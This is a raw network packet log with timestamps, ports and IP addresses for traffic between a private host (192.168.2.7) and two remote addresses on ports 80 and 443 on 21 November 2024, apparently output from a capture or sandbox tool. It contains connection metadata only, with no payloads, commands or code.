Nov 21, 2024 00:03:23.310795069 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.310843945 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:23.311465979 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.311635017 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.311717033 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:23.312236071 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.312355042 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.312405109 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:23.313014030 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.313107967 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.313157082 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:23.313851118 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.314007998 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.314053059 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:23.314632893 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.314740896 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.314785004 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:23.315414906 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.315512896 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.315567970 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:23.316195965 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.316298962 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.316348076 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:23.317009926 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.317107916 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.317166090 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:23.317800045 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.317909956 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.317959070 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:23.318674088 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.318766117 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.318808079 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:23.319372892 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.319529057 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.319580078 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:23.320198059 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.320374966 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.320432901 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:23.320962906 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.321072102 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.321111917 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:23.321769953 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.321913004 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.321954966 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:23.322549105 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.322617054 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.322663069 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:23.323378086 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.323489904 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.323534012 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:23.324168921 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.324414968 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.324461937 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:23.324954987 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.325126886 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.325169086 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:23.325747013 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.325911999 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.325953960 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:23.326553106 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.326669931 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.326711893 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:23.327353954 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.327486992 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.327536106 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:23.328161955 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.328264952 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.328320026 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:23.328943014 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.329034090 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.329082012 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:23.329720020 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.329816103 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.329860926 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:23.330523968 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.330686092 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.330728054 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:23.331334114 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.331360102 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.331407070 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:23.332118988 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.332262993 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.332307100 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:23.332906961 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.333003998 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.333055973 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:23.333722115 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.333858013 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.333898067 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:23.334495068 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.334604025 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.334645987 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:23.335349083 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.335432053 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.335472107 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:23.336131096 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.336287022 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.336328030 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:23.336900949 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.337013960 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.337055922 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:23.337702036 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.337831020 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.337877989 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:23.338536978 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.338655949 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.338706017 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:23.339301109 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.339401007 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.339447975 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:23.340074062 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.340266943 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.340305090 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:23.340842009 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.340922117 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.340961933 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:23.341670036 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.341793060 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.341901064 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:23.342447042 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.342508078 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.342551947 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:23.343239069 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.343344927 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.343390942 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:23.344019890 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.344144106 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.344182014 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:23.344862938 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.345057011 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.345094919 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:23.345645905 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.345772982 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.345810890 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:23.346436024 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.346554995 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.346592903 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:23.347178936 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.400295973 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:23.551721096 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:23.565021038 CET	443	49764	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:23.565146923 CET	443	49764	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:23.565198898 CET	49764	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:23.565431118 CET	49764	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:23.565447092 CET	443	49764	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:23.565469027 CET	49764	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:23.565474987 CET	443	49764	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:23.568698883 CET	49769	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:23.568758011 CET	443	49769	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:23.568871975 CET	49769	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:23.569102049 CET	49769	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:23.569120884 CET	443	49769	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:23.671253920 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.671323061 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.671402931 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:23.671741009 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.671757936 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.671811104 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:23.672514915 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.672573090 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.672621965 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:23.673263073 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.673423052 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.673464060 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:23.674067974 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.674166918 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.674212933 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:23.674840927 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.674969912 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.675091982 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:23.675636053 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.675712109 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.675760984 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:23.676472902 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.676489115 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.676541090 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:23.677280903 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.677298069 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.677355051 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:23.678006887 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.678179026 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.678277969 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:23.678811073 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.678910971 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.678966045 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:23.679619074 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.679743052 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.679974079 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:23.680452108 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.680572033 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.680622101 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:23.681225061 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.681375980 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.681437969 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:23.682044983 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.682060957 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.682115078 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:23.682813883 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.682864904 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.682912111 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:23.683573961 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.683650970 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.684294939 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:23.684442043 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.684458971 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.684508085 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:23.685259104 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.685275078 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.685337067 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:23.685981989 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.686070919 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.686120033 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:23.686765909 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.686863899 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.686903000 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:23.687549114 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.687661886 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.687757969 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:23.688393116 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.688512087 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.688558102 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:23.689168930 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.689181089 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.689665079 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:23.690030098 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.690181971 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.690234900 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:23.690350056 CET	443	49765	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:23.690424919 CET	443	49765	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:23.690711021 CET	49765	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:23.690753937 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.690800905 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.690848112 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:23.690953016 CET	49765	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:23.690974951 CET	443	49765	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:23.690989017 CET	49765	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:23.690996885 CET	443	49765	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:23.691570997 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.691648960 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.691699982 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:23.692372084 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.692433119 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.692487955 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:23.693149090 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.693327904 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.693451881 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:23.693973064 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.693985939 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.694032907 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:23.694756985 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.694833994 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.694875956 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:23.695554972 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.695671082 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.695723057 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:23.696326971 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.696422100 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.696474075 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:23.697119951 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.697233915 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.697448015 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:23.697894096 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.698010921 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.698060036 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:23.698704958 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.698765993 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.698810101 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:23.699527025 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.699541092 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.699606895 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:23.699909925 CET	49770	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:23.699950933 CET	443	49770	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:23.700018883 CET	49770	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:23.700172901 CET	49770	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:23.700189114 CET	443	49770	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:23.700299025 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.700342894 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.700387955 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:23.701100111 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.701239109 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.701297998 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:23.701878071 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.702002048 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.702198029 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:23.702699900 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.702816963 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.702862024 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:23.703484058 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.703531981 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.703583002 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:23.704310894 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.704389095 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.704503059 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:23.705121994 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.705179930 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.705230951 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:23.705893040 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.706000090 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.706073999 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:23.706676006 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.706789970 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.706943035 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:23.707451105 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.707540989 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.707578897 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:23.708260059 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.708312035 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.708373070 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:23.709064007 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.709209919 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.709311962 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:23.709845066 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.709964037 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.710031033 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:23.710623980 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.710804939 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.710874081 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:23.711486101 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.711498022 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.711544037 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:23.712218046 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.712388992 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.712438107 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:23.713047981 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.713167906 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.713254929 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:23.713865042 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.713979006 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.714075089 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:23.714611053 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.714668036 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.714776993 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:23.715415001 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.715509892 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.715555906 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:23.716201067 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.716305017 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.716351032 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:23.716976881 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.717092037 CET	80	49760	185.215.113.16	192.168.2.7
